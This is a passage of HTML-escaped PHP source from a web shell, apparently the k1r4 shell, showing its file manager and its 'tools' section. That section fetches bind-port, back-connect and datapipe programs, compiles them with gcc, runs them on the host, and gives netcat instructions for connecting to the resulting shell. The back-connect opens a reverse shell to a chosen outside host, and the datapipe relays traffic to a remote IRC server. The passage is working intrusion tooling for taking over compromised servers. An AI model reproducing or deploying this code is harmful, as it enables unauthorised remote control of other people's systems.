    $row[] = date(&amp;quot;d.m.Y H:i:s&amp;quot;,$a[2]);&lt;br /&gt;
    if (!$win) {$row[] = $a[3];}&lt;br /&gt;
    $row[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=chmod&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.view_perms_color($v).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
    if ($o == &amp;quot;.&amp;quot;) {$checkbox = &amp;quot;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;actbox[]\&amp;quot; onclick=\&amp;quot;ls_reverse_all();\&amp;quot;&amp;gt;&amp;quot;; $i--;}&lt;br /&gt;
    else {$checkbox = &amp;quot;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;actbox[]\&amp;quot; id=\&amp;quot;actbox&amp;quot;.$i.&amp;quot;\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($v).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;}&lt;br /&gt;
    if (is_dir($v)) {$row[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=d&amp;amp;d=&amp;quot;.$uv.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_diz\&amp;quot; alt=\&amp;quot;Info\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;16\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;quot;.$checkbox;}&lt;br /&gt;
    else {$row[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;ft=info&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_diz\&amp;quot; alt=\&amp;quot;Info\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;16\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;ft=edit&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=change\&amp;quot; alt=\&amp;quot;Change\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;ft=download&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=download\&amp;quot; alt=\&amp;quot;Download\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;quot;.$checkbox;}&lt;br /&gt;
    if (($o == &amp;quot;.&amp;quot;) or ($o == &amp;quot;..&amp;quot;)) {$tab[&amp;quot;head&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_link($v)) {$tab[&amp;quot;links&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_dir($v)) {$tab[&amp;quot;folders&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_file($v)) {$tab[&amp;quot;files&amp;quot;][] = $row;}&lt;br /&gt;
    $i++;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  // Compiling table&lt;br /&gt;
  $table = array_merge($tab[&amp;quot;cols&amp;quot;],$tab[&amp;quot;head&amp;quot;],$tab[&amp;quot;folders&amp;quot;],$tab[&amp;quot;links&amp;quot;],$tab[&amp;quot;files&amp;quot;]);&lt;br /&gt;
  echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Listing folder (&amp;quot;.count($tab[&amp;quot;files&amp;quot;]).&amp;quot; files and &amp;quot;.(count($tab[&amp;quot;folders&amp;quot;])+count($tab[&amp;quot;links&amp;quot;])).&amp;quot; folders):&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&amp;lt;TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0&amp;gt;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot; method=POST name=\&amp;quot;ls_form\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;.$dspact.&amp;quot;&amp;gt;&amp;lt;input type=hidden name=d value=&amp;quot;.$d.&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
  foreach($table as $row)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;tr&amp;gt;\r\n&amp;quot;;&lt;br /&gt;
   foreach($row as $v) {echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/td&amp;gt;\r\n&amp;quot;;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/tr&amp;gt;\r\n&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;p align=\&amp;quot;right\&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
  function ls_setcheckboxall(status)&lt;br /&gt;
  {&lt;br /&gt;
   var id = 1;&lt;br /&gt;
   var num = &amp;quot;.(count($table)-2).&amp;quot;;&lt;br /&gt;
   while (id &amp;lt;= num)&lt;br /&gt;
   {&lt;br /&gt;
    document.getElementById('actbox'+id).checked = status;&lt;br /&gt;
    id++;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  function ls_reverse_all()&lt;br /&gt;
  {&lt;br /&gt;
   var id = 1;&lt;br /&gt;
   var num = &amp;quot;.(count($table)-2).&amp;quot;;&lt;br /&gt;
   while (id &amp;lt;= num)&lt;br /&gt;
   {&lt;br /&gt;
    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;&lt;br /&gt;
    id++;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  &amp;lt;/script&amp;gt;&lt;br /&gt;
  &amp;lt;input type=\&amp;quot;button\&amp;quot; onclick=\&amp;quot;ls_setcheckboxall(true);\&amp;quot; value=\&amp;quot;Select all\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;button\&amp;quot; onclick=\&amp;quot;ls_setcheckboxall(false);\&amp;quot; value=\&amp;quot;Unselect all\&amp;quot;&amp;gt; &lt;br /&gt;
  &amp;lt;b&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=arrow_ltr\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
  if (count(array_merge($sess_data[&amp;quot;copy&amp;quot;],$sess_data[&amp;quot;cut&amp;quot;])) &amp;gt; 0 and ($usefsbuff))&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;input type=submit name=actarcbuff value=\&amp;quot;Pack buffer to archive\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;actarcbuff_path\&amp;quot; value=\&amp;quot;archive_&amp;quot;.substr(md5(rand(1,1000).rand(1,1000)),0,5).&amp;quot;.tar.gz\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=submit name=\&amp;quot;actpastebuff\&amp;quot; value=\&amp;quot;Paste\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=submit name=\&amp;quot;actemptybuff\&amp;quot; value=\&amp;quot;Empty buffer\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;select name=act&amp;gt;&amp;lt;option value=\&amp;quot;&amp;quot;.$act.&amp;quot;\&amp;quot;&amp;gt;With selected:&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  echo &amp;quot;&amp;lt;option value=delete&amp;quot;.($dspact == &amp;quot;delete&amp;quot;?&amp;quot; selected&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;Delete&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  echo &amp;quot;&amp;lt;option value=chmod&amp;quot;.($dspact == &amp;quot;chmod&amp;quot;?&amp;quot; selected&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;Change-mode&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  if ($usefsbuff)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;option value=cut&amp;quot;.($dspact == &amp;quot;cut&amp;quot;?&amp;quot; selected&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;Cut&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
   echo &amp;quot;&amp;lt;option value=copy&amp;quot;.($dspact == &amp;quot;copy&amp;quot;?&amp;quot; selected&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;Copy&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
   echo &amp;quot;&amp;lt;option value=unselect&amp;quot;.($dspact == &amp;quot;unselect&amp;quot;?&amp;quot; selected&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;Unselect&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
  echo &amp;quot;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;tools&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $bndportsrcs = array(&lt;br /&gt;
  &amp;quot;k1r4_bindport.pl&amp;quot;=&amp;gt;array(&amp;quot;Using PERL&amp;quot;,&amp;quot;perl %path %port&amp;quot;),&lt;br /&gt;
  &amp;quot;k1r4_bindport.c&amp;quot;=&amp;gt;array(&amp;quot;Using C&amp;quot;,&amp;quot;%path %port %pass&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
 $bcsrcs = array(&lt;br /&gt;
  &amp;quot;k1r4_backconn.pl&amp;quot;=&amp;gt;array(&amp;quot;Using PERL&amp;quot;,&amp;quot;perl %path %host %port&amp;quot;),&lt;br /&gt;
  &amp;quot;k1r4_backconn.c&amp;quot;=&amp;gt;array(&amp;quot;Using C&amp;quot;,&amp;quot;%path %host %port&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
 $dpsrcs = array(&lt;br /&gt;
  &amp;quot;k1r4_datapipe.pl&amp;quot;=&amp;gt;array(&amp;quot;Using PERL&amp;quot;,&amp;quot;perl %path %localport %remotehost %remoteport&amp;quot;),&lt;br /&gt;
  &amp;quot;k1r4_datapipe.c&amp;quot;=&amp;gt;array(&amp;quot;Using C&amp;quot;,&amp;quot;%path %localport %remoteport %remotehost&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
 if (!is_array($bind)) {$bind = array();}&lt;br /&gt;
 if (!is_array($bc)) {$bc = array();}&lt;br /&gt;
 if (!is_array($datapipe)) {$datapipe = array();}&lt;br /&gt;
 &lt;br /&gt;
 if (!is_numeric($bind[&amp;quot;port&amp;quot;])) {$bind[&amp;quot;port&amp;quot;] = $bindport_port;}&lt;br /&gt;
 if (empty($bind[&amp;quot;pass&amp;quot;])) {$bind[&amp;quot;pass&amp;quot;] = $bindport_pass;}&lt;br /&gt;
  &lt;br /&gt;
 if (empty($bc[&amp;quot;host&amp;quot;])) {$bc[&amp;quot;host&amp;quot;] = getenv(&amp;quot;REMOTE_ADDR&amp;quot;);}&lt;br /&gt;
 if (!is_numeric($bc[&amp;quot;port&amp;quot;])) {$bc[&amp;quot;port&amp;quot;] = $bc_port;}&lt;br /&gt;
 &lt;br /&gt;
 if (empty($datapipe[&amp;quot;remoteaddr&amp;quot;])) {$datapipe[&amp;quot;remoteaddr&amp;quot;] = &amp;quot;irc.dalnet.ru:6667&amp;quot;;}&lt;br /&gt;
 if (!is_numeric($datapipe[&amp;quot;localport&amp;quot;])) {$datapipe[&amp;quot;localport&amp;quot;] = $datapipe_localport;}&lt;br /&gt;
 if (!empty($bindsubmit))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Result of binding port:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  $v = $bndportsrcs[$bind[&amp;quot;src&amp;quot;]];&lt;br /&gt;
  if (empty($v)) {echo &amp;quot;Unknown file!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif (fsockopen(getenv(&amp;quot;SERVER_ADDR&amp;quot;),$bind[&amp;quot;port&amp;quot;],$errno,$errstr,0.1)) {echo &amp;quot;Port alredy in use, select any other!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $w = explode(&amp;quot;.&amp;quot;,$bind[&amp;quot;src&amp;quot;]);&lt;br /&gt;
   $ext = $w[count($w)-1];&lt;br /&gt;
   unset($w[count($w)-1]);&lt;br /&gt;
   $srcpath = join(&amp;quot;.&amp;quot;,$w).&amp;quot;.&amp;quot;.rand(0,999).&amp;quot;.&amp;quot;.$ext;&lt;br /&gt;
   $binpath = $tmpdir.join(&amp;quot;.&amp;quot;,$w).rand(0,999);&lt;br /&gt;
   if ($ext == &amp;quot;pl&amp;quot;) {$binpath = $srcpath;}&lt;br /&gt;
   @unlink($srcpath);&lt;br /&gt;
   $fp = fopen($srcpath,&amp;quot;ab+&amp;quot;);&lt;br /&gt;
   if (!$fp) {echo &amp;quot;Can't write sources to \&amp;quot;&amp;quot;.$srcpath.&amp;quot;\&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   elseif (!$data = k1r4getsource($bind[&amp;quot;src&amp;quot;])) {echo &amp;quot;Can't download sources!&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    fwrite($fp,$data,strlen($data));&lt;br /&gt;
    fclose($fp);&lt;br /&gt;
    if ($ext == &amp;quot;c&amp;quot;) {$retgcc = myshellexec(&amp;quot;gcc -o &amp;quot;.$binpath.&amp;quot; &amp;quot;.$srcpath);  @unlink($srcpath);}&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%path&amp;quot;,$binpath,$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%port&amp;quot;,$bind[&amp;quot;port&amp;quot;],$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%pass&amp;quot;,$bind[&amp;quot;pass&amp;quot;],$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;//&amp;quot;,&amp;quot;/&amp;quot;,$v[1]);&lt;br /&gt;
    $retbind = myshellexec($v[1].&amp;quot; &amp;gt; /dev/null &amp;amp;&amp;quot;);&lt;br /&gt;
    sleep(5);&lt;br /&gt;
    $sock = fsockopen(&amp;quot;localhost&amp;quot;,$bind[&amp;quot;port&amp;quot;],$errno,$errstr,5);&lt;br /&gt;
    if (!$sock) {echo &amp;quot;I can't connect to localhost:&amp;quot;.$bind[&amp;quot;port&amp;quot;].&amp;quot;! I think you should configure your firewall.&amp;quot;;}&lt;br /&gt;
    else {echo &amp;quot;Binding... ok! Connect to &amp;lt;b&amp;gt;&amp;quot;.getenv(&amp;quot;SERVER_ADDR&amp;quot;).&amp;quot;:&amp;quot;.$bind[&amp;quot;port&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;! You should use NetCat&amp;amp;copy;, run \&amp;quot;&amp;lt;b&amp;gt;nc -v &amp;quot;.getenv(&amp;quot;SERVER_ADDR&amp;quot;).&amp;quot; &amp;quot;.$bind[&amp;quot;port&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;\&amp;quot;!&amp;lt;center&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=processes&amp;amp;grep=&amp;quot;.basename($binpath).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;View binder's process&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if (!empty($bcsubmit))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Result of back connection:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  $v = $bcsrcs[$bc[&amp;quot;src&amp;quot;]];&lt;br /&gt;
  if (empty($v)) {echo &amp;quot;Unknown file!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $w = explode(&amp;quot;.&amp;quot;,$bc[&amp;quot;src&amp;quot;]);&lt;br /&gt;
   $ext = $w[count($w)-1];&lt;br /&gt;
   unset($w[count($w)-1]);&lt;br /&gt;
   $srcpath = join(&amp;quot;.&amp;quot;,$w).&amp;quot;.&amp;quot;.rand(0,999).&amp;quot;.&amp;quot;.$ext;&lt;br /&gt;
   $binpath = $tmpdir.join(&amp;quot;.&amp;quot;,$w).rand(0,999);&lt;br /&gt;
   if ($ext == &amp;quot;pl&amp;quot;) {$binpath = $srcpath;}&lt;br /&gt;
   @unlink($srcpath);&lt;br /&gt;
   $fp = fopen($srcpath,&amp;quot;ab+&amp;quot;);&lt;br /&gt;
   if (!$fp) {echo &amp;quot;Can't write sources to \&amp;quot;&amp;quot;.$srcpath.&amp;quot;\&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   elseif (!$data = k1r4getsource($bc[&amp;quot;src&amp;quot;])) {echo &amp;quot;Can't download sources!&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    fwrite($fp,$data,strlen($data));&lt;br /&gt;
    fclose($fp);&lt;br /&gt;
    if ($ext == &amp;quot;c&amp;quot;) {$retgcc = myshellexec(&amp;quot;gcc -o &amp;quot;.$binpath.&amp;quot; &amp;quot;.$srcpath); @unlink($srcpath);}&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%path&amp;quot;,$binpath,$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%host&amp;quot;,$bc[&amp;quot;host&amp;quot;],$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%port&amp;quot;,$bc[&amp;quot;port&amp;quot;],$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;//&amp;quot;,&amp;quot;/&amp;quot;,$v[1]);&lt;br /&gt;
    $retbind = myshellexec($v[1].&amp;quot; &amp;gt; /dev/null &amp;amp;&amp;quot;);&lt;br /&gt;
    echo &amp;quot;Now script try connect to &amp;quot;.htmlspecialchars($bc[&amp;quot;host&amp;quot;]).&amp;quot;:&amp;quot;.htmlspecialchars($bc[&amp;quot;port&amp;quot;]).&amp;quot;...&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if (!empty($dpsubmit))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Result of datapipe-running:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  $v = $dpsrcs[$datapipe[&amp;quot;src&amp;quot;]];&lt;br /&gt;
  if (empty($v)) {echo &amp;quot;Unknown file!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif (fsockopen(getenv(&amp;quot;SERVER_ADDR&amp;quot;),$datapipe[&amp;quot;port&amp;quot;],$errno,$errstr,0.1)) {echo &amp;quot;Port alredy in use, select any other!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $srcpath = $tmpdir.$datapipe[&amp;quot;src&amp;quot;];&lt;br /&gt;
   $w = explode(&amp;quot;.&amp;quot;,$datapipe[&amp;quot;src&amp;quot;]);&lt;br /&gt;
   $ext = $w[count($w)-1];&lt;br /&gt;
   unset($w[count($w)-1]);&lt;br /&gt;
   $srcpath = join(&amp;quot;.&amp;quot;,$w).&amp;quot;.&amp;quot;.rand(0,999).&amp;quot;.&amp;quot;.$ext;&lt;br /&gt;
   $binpath = $tmpdir.join(&amp;quot;.&amp;quot;,$w).rand(0,999);&lt;br /&gt;
   if ($ext == &amp;quot;pl&amp;quot;) {$binpath = $srcpath;}&lt;br /&gt;
   @unlink($srcpath);&lt;br /&gt;
   $fp = fopen($srcpath,&amp;quot;ab+&amp;quot;);&lt;br /&gt;
   if (!$fp) {echo &amp;quot;Can't write sources to \&amp;quot;&amp;quot;.$srcpath.&amp;quot;\&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   elseif (!$data = k1r4getsource($datapipe[&amp;quot;src&amp;quot;])) {echo &amp;quot;Can't download sources!&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    fwrite($fp,$data,strlen($data));&lt;br /&gt;
    fclose($fp);&lt;br /&gt;
    if ($ext == &amp;quot;c&amp;quot;) {$retgcc = myshellexec(&amp;quot;gcc -o &amp;quot;.$binpath.&amp;quot; &amp;quot;.$srcpath); @unlink($srcpath);}&lt;br /&gt;
    list($datapipe[&amp;quot;remotehost&amp;quot;],$datapipe[&amp;quot;remoteport&amp;quot;]) = explode(&amp;quot;:&amp;quot;,$datapipe[&amp;quot;remoteaddr&amp;quot;]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%path&amp;quot;,$binpath,$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%localport&amp;quot;,$datapipe[&amp;quot;localport&amp;quot;],$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%remotehost&amp;quot;,$datapipe[&amp;quot;remotehost&amp;quot;],$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;%remoteport&amp;quot;,$datapipe[&amp;quot;remoteport&amp;quot;],$v[1]);&lt;br /&gt;
    $v[1] = str_replace(&amp;quot;//&amp;quot;,&amp;quot;/&amp;quot;,$v[1]);&lt;br /&gt;
    $retbind = myshellexec($v[1].&amp;quot; &amp;gt; /dev/null &amp;amp;&amp;quot;);&lt;br /&gt;
    sleep(5);&lt;br /&gt;
    $sock = fsockopen(&amp;quot;localhost&amp;quot;,$datapipe[&amp;quot;port&amp;quot;],$errno,$errstr,5);&lt;br /&gt;
    if (!$sock) {echo &amp;quot;I can't connect to localhost:&amp;quot;.$datapipe[&amp;quot;localport&amp;quot;].&amp;quot;! I think you should configure your firewall.&amp;quot;;}&lt;br /&gt;
    else {echo &amp;quot;Running datapipe... ok! Connect to &amp;lt;b&amp;gt;&amp;quot;.getenv(&amp;quot;SERVER_ADDR&amp;quot;).&amp;quot;:&amp;quot;.$datapipe[&amp;quot;port&amp;quot;].&amp;quot;, and you will connected to &amp;quot;.$datapipe[&amp;quot;remoteaddr&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;! You should use NetCat&amp;amp;copy;, run \&amp;quot;&amp;lt;b&amp;gt;nc -v &amp;quot;.getenv(&amp;quot;SERVER_ADDR&amp;quot;).&amp;quot; &amp;quot;.$bind[&amp;quot;port&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;\&amp;quot;!&amp;lt;center&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=processes&amp;amp;grep=&amp;quot;.basename($binpath).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;View datapipe process&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&amp;lt;b&amp;gt;Binding port:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=tools&amp;gt;&amp;lt;input type=hidden name=d value=&amp;quot;&amp;lt;?php echo $d; ?&amp;gt;&amp;quot;&amp;gt;Port: &amp;lt;input type=text name=&amp;quot;bind[port]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bind[&amp;quot;port&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;Password: &amp;lt;input type=text name=&amp;quot;bind[pass]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bind[&amp;quot;pass&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;select name=&amp;quot;bind[src]&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
 foreach($bndportsrcs as $k=&amp;gt;$v) {echo &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.$k.&amp;quot;\&amp;quot;&amp;quot;; if ($k == $bind[&amp;quot;src&amp;quot;]) {echo &amp;quot; selected&amp;quot;;} echo &amp;quot;&amp;gt;&amp;quot;.$v[0].&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;}&lt;br /&gt;
 ?&amp;gt;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit name=bindsubmit value=&amp;quot;Bind&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Back connection:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=tools&amp;gt;&amp;lt;input type=hidden name=d value=&amp;quot;&amp;lt;?php echo $d; ?&amp;gt;&amp;quot;&amp;gt;HOST: &amp;lt;input type=text name=&amp;quot;bc[host]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bc[&amp;quot;host&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;Port: &amp;lt;input type=text name=&amp;quot;bc[port]&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($bc[&amp;quot;port&amp;quot;]); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;select name=&amp;quot;bc[src]&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
foreach($bcsrcs as $k=&amp;gt;$v) {echo &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.$k.&amp;quot;\&amp;quot;&amp;quot;; if ($k == $bc[&amp;quot;src&amp;quot;]) {echo &amp;quot; selected&amp;quot;;} echo &amp;quot;&amp;gt;&amp;quot;.$v[0].&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;}&lt;br /&gt;
?&amp;gt;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit name=bcsubmit value=&amp;quot;Connect&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&lt;br /&gt;
Click &amp;quot;Connect&amp;quot; only after open port for it. You should use NetCat&amp;amp;copy;, run &amp;quot;&amp;lt;b&amp;gt;nc -l -n -v -p &amp;lt;?php echo $bc_port; ?&amp;gt;&amp;lt;/b&amp;gt;&amp;quot;!&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
